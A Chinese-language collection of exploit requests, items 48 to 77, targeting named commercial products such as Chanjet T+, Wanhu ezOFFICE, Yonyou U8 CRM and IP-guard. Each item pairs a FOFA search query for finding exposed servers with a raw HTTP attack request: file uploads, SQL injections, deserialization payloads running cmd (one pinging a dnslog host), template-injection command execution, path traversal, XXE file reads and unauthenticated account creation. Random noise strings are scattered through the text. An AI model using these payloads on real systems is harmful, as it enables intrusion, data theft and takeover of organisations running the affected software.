Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
/ v' _6 h) |( E( PAccept-Encoding: gzip, deflate, br
7 [0 X, r8 X7 W; o9 w6 l4 QAccept-Language: zh-CN,zh;q=0.9
If-Modified-Since: Wed, 11 Oct 2023 05:16:05 GMT
Connection: close
( \& q  K2 i# p
/ m9 v$ a. w% V4 h" P
9 F7 h, x* w9 i, v, s. B7 u; c
48. 用友U8 CRM swfupload 任意文件上传
! f4 |! h' _! e$ q8 nFOFA：title="用友U8CRM"
. T( T! F  E) C/ RPOST /ajax/swfupload.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
% h" i" _) @) f# c* @9 DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
  I0 m" y/ Q# b. f3 ]+ R; sContent-Type: multipart/form-data;boundary=----269520967239406871642430066855
. d: [* P* K6 v! z! ^) W0 W------269520967239406871642430066855
7 j) k; {* P8 b$ g3 Y4 \! rContent-Disposition: form-data; name="file"; filename="s.php"
! c0 [2 }. o9 D$ M1231
& ~7 {, x( V& o+ J; z7 T  zContent-Type: application/octet-stream
# H* n' J2 n/ S6 j- \' M. i------269520967239406871642430066855
Content-Disposition: form-data; name="upload"
upload
4 O$ B; t3 `( K* V3 |, R; _------269520967239406871642430066855--


! `- L) \8 |& T2 P4 L- f49. 用友U8 CRM系统uploadfile.php接口任意文件上传
FOFA：body="用友U8CRM"
; W' F8 ^. e' K. r5 s' ~! U: U
4 J5 ]$ a# V  t; b% @7 k8 ?' H& G( Q* LPOST /ajax/uploadfile.php?DontCheckLogin=1&vname=file HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Content-Length: 329
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
4 e! z+ Y: \+ S: n8 J) [: BAccept-Encoding: gzip, deflate
1 s! q# x+ T" e5 iAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
  Z5 i% S/ ?! z6 h3 [+ XContent-Type: multipart/form-data; boundary=---------------------------vvv3wdayqv3yppdxvn3w
: A: h# L% J; K: h0 d# y
5 F) n4 Z1 i: H! J( Y# B-----------------------------vvv3wdayqv3yppdxvn3w
+ `* A/ G9 [& ~8 YContent-Disposition: form-data; name="file"; filename="%s.php "
; c% V' J$ s! g8 VContent-Type: application/octet-stream

$ x9 ^( q% ?% r  V1 Iwersqqmlumloqa
-----------------------------vvv3wdayqv3yppdxvn3w
3 i3 G$ s" z$ u! oContent-Disposition: form-data; name="upload"

upload
-----------------------------vvv3wdayqv3yppdxvn3w--

  D2 h* c% k- P
http://x.x.x.x/tmpfile/updB3CB.tmp.php

, j, x/ M) ?" R% `* A50. QDocs Smart School 6.4.1 filterRecords SQL注入
FOFA：body="close closebtnmodal"
/ V0 A. p9 X+ xPOST /course/filterRecords/ HTTP/1.1
0 S, T& B6 |1 SHost: x.x.x.x
1 Y' [6 \) s( K  n% \8 D% k0 m8 _User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
- x3 P! Q& X5 h, g( V0 x8 WConnection: close
Content-Length: 224
" u% x1 j5 @( b& ]0 n4 f1 E6 F6 [Accept: */*
. s" e% x9 Q0 P- t4 f8 gAccept-Language: en
# \- n" \7 `7 m$ f7 R# S1 e- QContent-Type: application/x-www-form-urlencoded
- l# C. Z9 I0 I! gAccept-Encoding: gzip
5 Q. a2 ]9 [. L: H$ Z" e
  I* x& Y) r! V% G; D" p+ ?0 I- rsearchdata[0][title]=&searchdata[0][searchfield]=1&searchdata[0][searchvalue]=1&searchdata[1][title]=1&searchdata[1][searchfield]=1=1 and extractvalue(1,concat(0x5e,(select md5(123456)),0x5e))%23&searchdata[1][searchvalue]=1

' s+ ^. I5 j) X: G2 m: T
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
+ y6 k" }* N6 ~% ~4 o7 H" O+ \+ \  yFOFA：app="云时空社会化商业ERP系统"
GET /sys/user/validateLoginName?loginName=admin'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
Host: your-ip
- U( N" A0 E$ m7 fUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.198 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
( f( [" y2 }4 E1 {( S" c$ yAccept-Language: zh-CN,zh;q=0.9
  V, H% n8 a" f1 ]# I. L) Y4 XConnection: close


! t" s9 @5 ^8 k/ v8 J& ?9 W, [! z9 v& C52. 泛微E-Office json_common.php sql注入
) ?  N7 _% C; `5 O* c6 `FOFA：app="泛微-EOffice"
POST /building/json_common.php HTTP/1.1
Host: 192.168.86.128:8097
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
* {, C/ q4 p+ r0 p9 \, l/ [Connection: close
Content-Length: 87
! N4 A! i! A* F* h! bAccept: */*
Accept-Language: en
, M) }+ L, e) DContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

/ k$ B, d' V7 htfs=city` where cityId =-1 /*!50000union*/ /*!50000select*/1,2,md5(102103122) ,4#|2|333
' P1 Z0 [: Q5 u& i

/ u' m, t* W  U+ T53. 迪普 DPTech VPN Service 任意文件上传
FOFA：app="DPtech-SSLVPN"
6 q4 P  h& |, [1 J' {. \+ H/..%2F..%2F..%2F..%2F..%2F..%2F..%2Fetc%2Fpasswd


54. 畅捷通T+ getstorewarehousebystore 远程代码执行
FOFA：app="畅捷通-TPlus"
第一步，向目标发送数据包，执行命令，将指定字符串写入指定文件
, X* }) k( P7 ~* @2 }4 l"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
. b0 H+ G& U6 P/ _; b2 a

7 S9 o* t7 Q3 s, h2 G3 W完整数据包
7 C/ b) N4 p" b! d$ SPOST /tplus/ajaxpro/Ufida.T.CodeBehind._PriorityLevel,App_Code.ashx?method=GetStoreWarehouseByStore HTTP/1.1
% I, s- ~& l) F  _* N6 @  LHost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.137 Safari/4E423F
Content-Length: 593

{
# X" D% B5 \, e- j+ g, K$ f% a; d"storeID":{
( M& z" Q5 K9 C! `" D7 V( c. y "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
& r) s$ A* L% Q! i+ v, ]' N" P  "ObjectInstance":{
   "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
    "StartInfo":{
   "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
. J9 z7 P; W! P( j. k- g8 x    "FileName":"cmd",
    "Arguments":"/c echo 2WcBDoxC7JXhegsmOp6vJJ2dZBl > .2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt"
    }
  }
  }
- m, b" w! N- w% H" {8 n$ @/ O9 L}
: E( M+ e* ^$ u- {3 E: o

第二步，访问如下url
/tplus/.2WcBDoxC7JXhegsmOp6vJJ2dZBl.txt
. Y+ R) ^9 y6 L0 R

. N, A* T+ Z0 H. U: n/ Q55. 畅捷通T+ getdecallusers信息泄露
) G6 U/ ~& p( x7 b& D3 k- \* YFOFA：app="畅捷通-TPlus"
9 }7 e' Y& c2 Z: `6 s. R  _; V第一步，通过
6 S1 Q8 ]$ s) e- B" C8 v/tplus/ajaxpro/Ufida.T.SM.Login.UIP.LoginManager,Ufida.T.SM.Login.UIP.ashx?method=CheckPassword接口获取Cookie
第二步，利用获取到的Cookie请求
. _/ Q9 X, M# v8 ?0 F: X/tplus/sm/privilege/ajaxpro/Ufida.T.SM.UIP.Privilege.PreviligeControl,Ufida.T.SM.UIP.ashx?method=GetDecAllUsers
  U6 W* G- c9 Z# p1 K6 z
/ A8 |" P& n) l# ]' t" E3 [: N56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
FOFA: app="畅捷通-TPlus"
POST /tplus/ajaxpro/Ufida.T.DI.UIP.RRA.RRATableController,Ufida.T.DI.UIP.ashx?method=GetStoreWarehouseByStore HTTP/1.1
% b- Z( g. T) l) Q) sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
Content-Type: application/json
, I2 J2 {5 ^# g) K
{
; t9 R5 h9 y' c! k6 g  "storeID":{
    "__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
3 r( z. m( f, i0 T1 @, @' N( D" f   "MethodName":"Start",
    "ObjectInstance":{
       "__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
        "StartInfo": {
           "__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
           "FileName":"cmd", "Arguments":"/c ping 6qevyvmi.dnslog.pw"
1 A8 Y  @2 G, R4 O. {! {9 E       }
    }
  }
8 c2 N1 P  C& i2 p- p$ a}

  ?) L4 ]9 x7 `! \6 y
, e& Y. n( {6 @57. 畅捷通T+ keyEdit.aspx SQL注入
& a# M5 Y0 V% j6 l& y( S3 n8 gFOFA：app="畅捷通-TPlus"
) q3 V: ?) E1 YGET /tplus/UFAQD/keyEdit.aspx?KeyID=1%27%20and%201=(select%20@@version)%20--&preload=1 HTTP/1.1
0 @2 ?4 u8 p4 z* BHost: host
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
* r# W+ }" S6 w+ H- JAccept-Encoding: gzip, deflate
Connection: close
# F$ M4 p/ R9 V4 U
) C+ s5 J: B7 k4 Z+ a+ q' P( o- d
58. 畅捷通T+ KeyInfoList.aspx sql注入
FOFA：app="畅捷通-TPlus"
7 e8 @7 h; B; B( E& N! D4 ]/ iGET /tplus/UFAQD/KeyInfoList.aspx?preload=1&zt=')AND+1+IN+(SELECT+sys.fn_varbintohexstr(hashbytes('MD5','123456')))--+ HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Linux; Android 11; motorola edge 20 fusion) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.61 Mobile Safari/537.36
Accept-Charset: utf-8
Accept-Encoding: gzip, deflate
Connection: close

" a  D! U- O- [! W! X
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
$ ^4 Q) Z" a' ^: B: Z6 @1 h$ \) sFOFA: title="@XETUX" && title="XPOS" && body="BackEnd"
, v2 I5 m$ c1 ]9 B/ @POST /xc-one-pos/javax.faces.resource/dynamiccontent.properties.xhtml HTTP/1.1
Host: 192.168.86.128:9090
; L7 c# S2 |( {User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
8 J% P  ?0 q5 D$ [3 y2 rConnection: close
Content-Length: 1669
Accept: */*
Accept-Language: en
; w& Q$ h8 n2 u' NContent-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

) v3 l9 e8 o7 E. ZPAYLOAD

: Y/ a" M# n' H
60. 百卓Smart管理平台 importexport.php SQL注入
FOFA：title="Smart管理平台"
GET /importexport.php?sql=c2VsZWN0IDEsdXNlcigpLDM=&type=exportexcelbysql HTTP/1.1
Host:
# e8 J% `+ g: E1 r* }3 w; FUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
& y, K6 i+ }$ {& w2 cAccept-Language: zh-CN,zh;q=0.9
, I3 f% }9 @5 u. z# b- i# z2 \. |$ L8 PConnection: close


61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
FOFA: title="欢迎使用浙大恩特客户资源管理系统"
POST /entsoft_en/entereditor/jsp/fileupload.jsp?filename=8uxssX66eqrqtKObcVa0kid98xa.jsp HTTP/1.1
Host: x.x.x.x
6 f, U" w* _. U$ nUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 27
) A6 D* W8 q. G, r, ], KAccept: */*
# |3 I# L6 c8 a9 ^  YAccept-Encoding: gzip, deflate
Accept-Language: en
3 {# N% f* e. X) ?" R, w; @' x! s1 fContent-Type: application/x-www-form-urlencoded

2 ]* x* @' a) a8 m, h! @8uxssX66eqrqtKObcVa0kid98xa
9 Z. F$ u9 M' m

62. IP-guard WebServer 远程命令执行
FOFA："IP-guard" && icon_hash="2030860561"
5 u) `/ ~1 ~8 I& A; t& xGET /ipg/static/appr/lib/flexpaper/php/view.php?doc=11.jpg&format=swf&isSplit=true&page=||echo+"09kdujzKJDLinkQTLfGzMMKDJ23HJ"+>09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
6 o9 P/ v9 y, T) u! THost: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2919.83 Safari/537.36
; u: B. b: q. [, @$ W; LConnection: close
7 l1 x" R: O( Y: I5 [4 C7 nAccept: */*
& }7 B: F# b! e2 XAccept-Language: en
Accept-Encoding: gzip


. ]* t$ w+ P- X( S+ z访问

GET /ipg/static/appr/lib/flexpaper/php/09kdujzKJDLinkQTLfGzMMKDJ23HJ.txt HTTP/1.1
7 F+ }* ?3 @/ F* WHost: x.x.x.x
1 r7 Z( |5 C. }- C# [

63. IP-guard WebServer任意文件读取
$ S0 H9 X! ]. S# PIP-guard < 4.82.0609.0
' T0 T4 M2 ^- ?' o$ U$ aFOFA：icon_hash="2030860561"
( z4 c1 ^* R3 l5 d4 KPOST /ipg/appr/MApplyList/downloadFile_client/getdatarecord HTTP/1.1
( Z2 [$ Y7 J- b+ z9 b; `! ]Host: your-ip
7 S# Q4 u0 q9 ^! @2 b* }User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
' B3 {4 `. R  n4 q# O5 [* e2 }Accept-Language: zh-CN,zh;q=0.9
Connection: close
5 d8 R! K" u& T- j: O; T4 Y* DContent-Type: application/x-www-form-urlencoded
: }+ l2 F, D& B" A
* G- @! G3 |# X6 @3 ~path=..%2Fconfig.ini&filename=1&action=download&hidGuid=1v%0D%0A
$ q$ p$ W4 x& a# v  r* ^
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
FOFA：body="/Scripts/EnjoyMsg.js"
POST /EnjoyRMIS_WS/WS/APS/CWSFinanceCommon.asmx HTTP/1.1
# Q; W- B7 x( n0 lHost: 192.168.86.128:9001
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.36
& ~+ X# i! |4 }# _* O+ ]Connection: close
9 x( A7 F! r- D3 hContent-Length: 369
Accept: */*
* g4 S, ?9 k4 {2 J! OAccept-Language: en
Content-Type: text/xml; charset=utf-8
Accept-Encoding: gzip

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
    <GetOSpById xmlns="http://tempuri.org/">
      <sId>1';waitfor delay '0:0:5'--+</sId>
    </GetOSpById>
  </soap:Body>
' ^, L. U, y& H/ M. Z</soap:Envelope>
( a9 l( O6 ^- L0 n
* A. P& O- S7 J" Q2 j& m% n
4 Q. I7 c' G/ B65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
% Y& e5 t" u5 C7 {5 ]$ z) SFOFA：title="欢迎使用脸爱云 一脸通智慧管理平台"
响应200即成功创建账号test123456/123456
POST /SystemMng.ashx HTTP/1.1
8 S% Z  i  w2 D; FHost:
- u" P( ~6 ^% J( v1 f! B. pUser-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1)
Accept-Encoding: gzip, deflate
, M/ |) z4 w( w' [5 A  qAccept: */*
Connection: close
Accept-Language: en
Content-Length: 174
3 \( O: a2 ]0 }  o8 a  P
, c2 Y# z( M3 b# N8 GoperatorName=test123456&operatorPwd=123456&operpassword=123456&operatorRole=00&visible_jh=%E8%AF%B7%E9%80%89%E6%8B%A9&visible_dorm=%E8%AF%B7%E9%80%89%E6%8B%A9&funcName=addOperators


66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
FOFA：app="万户ezOFFICE协同管理平台"

: ~9 X: t. E* Y# O! e. rGET /defaultroot/public/iWebOfficeSign/Template/SendFileCheckTemplateEdit.jsp?RecordID=1'%20UNION%20ALL%20SELECT%20sys.fn_sqlvarbasetostr(HashBytes(%27MD5%27,%27102103122%27))%2CNULL%2CNULL%2CNULL%2CNULL%2CNULL-- HTTP/1.1
Host: x.x.x.x
/ k$ Q+ {4 C" `  LUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
9 O+ B( h6 o. G" G1 v3 B6 x/ yAccept-Encoding: gzip
6 v1 g5 `- T+ L& G3 Y

" `$ Z4 r8 N( }7 q; S) v0 M; V第42,43行包含6cfe798ba8e5b85feb50164c59f4bec9字符串证明漏洞存在

67. 万户ezOFFICE wpsservlet任意文件上传
FOFA：app="万户网络-ezOFFICE"
' m6 d9 @2 H7 h( ^9 f& SnewdocId和filename参数表示写入文件名称，dir参数表示写入文件的路径，fileType参数表示文件类型
POST /defaultroot/wpsservlet?option=saveNewFile&newdocId=apoxkq&dir=../platform/portal/layout/&fileType=.jsp HTTP/1.1
Host: x.x.x.x
0 k/ o: n* h! s  c& [6 mUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0
Content-Length: 173
2 b. u& ?$ C( Y1 r0 |Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
7 v5 O4 ~* L$ BAccept-Encoding: gzip, deflate
0 D* {+ E7 ]" N4 T/ CAccept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Connection: close
* @8 {) B7 n5 a2 ]/ _Content-Type: multipart/form-data; boundary=ufuadpxathqvxfqnuyuqaozvseiueerp
DNT: 1
Upgrade-Insecure-Requests: 1
6 \8 e. b. R  P' u* D- C
--ufuadpxathqvxfqnuyuqaozvseiueerp
3 W/ K2 K$ S4 l8 rContent-Disposition: form-data; name="NewFile"; filename="apoxkq.jsp"
9 d+ {1 e$ j. k* `# R  u
<% out.print("sasdfghjkj");%>
--ufuadpxathqvxfqnuyuqaozvseiueerp--
- q3 |5 p) h- A3 o  H

$ z& N  o  U2 L% E文件回显路径为/defaultroot/platform/portal/layout/apoxkq.jsp
) j" O2 n1 ]7 _: N; @
68. 万户ezOFFICE wf_printnum.jsp SQL注入
& {9 E/ N; @7 B/ |FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/platform/bpm/work_flow/operate/wf_printnum.jsp;.js?recordId=1;WAITFOR%20DELAY%20%270:0:5%27-- HTTP/1.1
* W, z5 \6 G; w+ B# H0 tHost: {{host}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Accept: application/signed-exchange;v=b3;q=0.7,*/*;q=0.8
Accept-Encoding: gzip, deflate
! H# v, ]& d, C- e$ V" z( yAccept-Language: zh-CN,zh;q=0.9
Connection: close
0 l* W! w' m& ]* B

5 ?8 P6 E- O! Q* U) I69. 万户 ezOFFICE contract_gd.jsp SQL注入
FOFA：app="万户ezOFFICE协同管理平台"
GET /defaultroot/modules/subsidiary/contract/contract_gd.jsp;.js?gd=1&gd_startUserCode=1%27%3Bwaitfor%20delay%20%270%3A0%3A5%27-- HTTP/1.1
Host: your-ip
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive

5 f5 g& |3 H) ?/ x- M
70. 万户ezEIP success 命令执行
FOFA：app="万户网络-ezEIP"
POST /member/success.aspx HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
SID: dHlwZSBDOlxXaW5kb3dzXHdpbi5pbmk=
Content-Type: application/x-www-form-urlencoded
TYPE: C
Content-Length: 16702

; K/ n- r# t5 b+ e& Y6 Z# \__VIEWSTATE=PAYLOAD

! R! x& ]6 w  M8 E
71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
FOFA：body="PM2项目管理系统BS版增强工具.zip"
GET /Global/Global_UserLogin.aspx?accId=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&loginCode&password&type HTTP/1.1
Host: x.x.x.xx.x.x.x
9 N! \' z; e+ rUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36
Connection: close
# v+ o4 ?6 D3 u5 y( k$ DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
; I0 w7 @! h8 }* ?! H7 FAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Upgrade-Insecure-Requests: 1
# b( Q, u) ]7 o# U. t7 G& |: |  s
( k' \7 P( |9 [* q6 S% w3 P# X
( |- p& K, z$ T$ }: S/ e8 A) [. d! k72. 致远OA getAjaxDataServlet XXE
FOFA：app="致远互联-OA"
$ i$ f5 u3 a: K& |' z& E1 U: zPOST /seeyon/m-signature/RunSignature/run/getAjaxDataServlet HTTP/1.1
Host: 192.168.40.131:8099
6 n3 V- x, ]5 _& ?3 v* rUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
) L+ V# S$ G( \; @0 QConnection: close
Content-Length: 583
Content-Type: application/x-www-form-urlencoded
" J8 j9 L  q7 k# d; ZAccept-Encoding: gzip
: j& v. _% A0 e! {4 t) V0 k# m
S=ajaxColManager&M=colDelLock&imgvalue=lr7V9+0XCEhZ5KUijesavRASMmpz%2FJcFgNqW4G2x63IPfOy%3DYudDQ1bnHT8BLtwokmb%2Fk&signwidth=4.0&signheight=4.0&xmlValue=%3C%3Fxml+version%3D%221.0%22%3F%3E%0D%0A%3C%21DOCTYPE+foo+%5B%0D%0A++%3C%21ELEMENT+foo+ANY+%3E%0D%0A++%3C%21ENTITY+xxe+SYSTEM+%22file%3A%2F%2F%2Fc%3A%2Fwindows%2Fwin.ini%22+%3E%0D%0A%55D%3E%0D%0A%3CSignature%3E%3CField%3E%3Ca+Index%3D%22ProtectItem%22%3Etrue%3C%2Fa%3E%3Cb+Index%3D%22Caption%22%3Ecaption%3C%2Fb%3E%3Cc+Index%3D%22ID%22%3Eid%3C%2Fc%3E%3Cdd+Index%3D%22VALUE%22%3E%26xxe%3B%3C%2Fd%3E%3C%2FField%3E%3C%2FSignature%3E
# b" C8 u  E+ K  H2 a

! z1 P- e. j9 w9 l% h/ G2 [73. GeoServer wms远程代码执行
FOFA：icon_hash=”97540678”
; \# C2 H  D  v. l+ @$ f" q& ^) \  ~POST /geoserver/wms HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2762.73 Safari/537.36
Content-Length: 1981
Accept-Encoding: gzip, deflate
. b5 X/ @" _$ x( A+ y, @0 m6 f. wConnection: close
4 N6 P" s1 B# C9 E& pContent-Type: application/xml
4 {5 ^; ~1 O$ i+ r4 mSL-CE-SUID: 3
4 v- V: {% Y( ?
1 V% c4 T9 E5 PPAYLOAD


74. 致远M3-server 6_1sp1 反序列化RCE
' B7 V2 w* g4 _% N7 }! nFOFA：title="M3-Server"
8 O3 K* M2 K/ F# y2 }PAYLOAD
; O2 H3 |& Y) v9 m' i# Z% U
75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
' `' v% t# P% r6 yFOFA：app="TELESQUARE-TLR-2005KSH"
GET /cgi-bin/admin.cgi?Command=setSyncTimeHost&time=`ifconfig>test28256.txt` HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
  B7 X& E8 l( O4 K+ s. G3 OConnection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip


* V  x- l# j- }  L& kGET /cgi-bin/test28256.txt HTTP/1.1
Host: x.x.x.x
, \' j6 @+ P" G- c0 Z+ l$ J

76. 新开普掌上校园服务管理平台service.action远程命令执行
& E& R* Y! v; g/ Z, }* y$ LFOFA：title="掌上校园服务管理平台"
POST /service_transport/service.action HTTP/1.1
% r1 d! N5 n. c/ p. e% z1 b' AHost: x.x.x.x
# V- o- A) h; |) z" JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/114.0
7 {4 z1 `3 o3 b9 x" hConnection: close
1 M1 H' D7 x. q) \2 JContent-Length: 211
9 r( d2 W: B3 s1 q$ ]Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
7 m6 h& L# u2 I1 d+ mAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6 f8 Y+ h, w3 PCookie: JSESSIONID=6A13B163B0FA9A5F8FE53D4153AC13A4
+ s9 b" E$ Q$ |0 @! n9 `Upgrade-Insecure-Requests: 1
. X4 s2 p( f& t& z5 T! E, a7 e
6 W4 a; H" y" W5 m! F& N) m/ P9 l{
"command": "GetFZinfo",
  "UnitCode": "<#assign ex = \"freemarker.template.utility.Execute\"
  ?new()>${ex(\"cmd /c echo 9d8ajikdujw8ejd9wjdfkfu8 >./webapps/ROOT/9d8ajikdujw8ejd9wjdfkfu8.txt\")}"
% G- t4 T! n4 f7 z8 Q}

2 c& \2 ^& a2 d, q6 v* `
. w( Z. I; t3 c1 _' P3 m4 f0 g' TGET /9d8ajikdujw8ejd9wjdfkfu8.txt HTTP/1.1
Host: x.x.x.x
9 v! F. C6 F- g6 M$ n5 U- H9 |* s


2 h% R* \+ \! K; Q( g9 n; B77. F22服装管理软件系统UploadHandler.ashx任意文件上传
FOFA：body="F22WEB登陆"
POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
/ Y. k  K2 E2 h8 hHost: x.x.x.x
5 z* Z: t+ u( V- y/ M8 W- ?& I! aUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
* L3 g% E* o- x# E; A% O9 ^- [5 RContent-Length: 433
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
( H8 @  ^# D0 D  OContent-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix

------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="folder"
( L; r! P. ?, I6 m: {: R
/upload/udplog
8 o+ P( B) K- o1 M; m, |------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
. B4 L; H8 D. M; y4 \1 e! }Content-Type: application/octet-stream
5 j4 U8 z  w" a8 r; ^9 ^4 e% o0 u
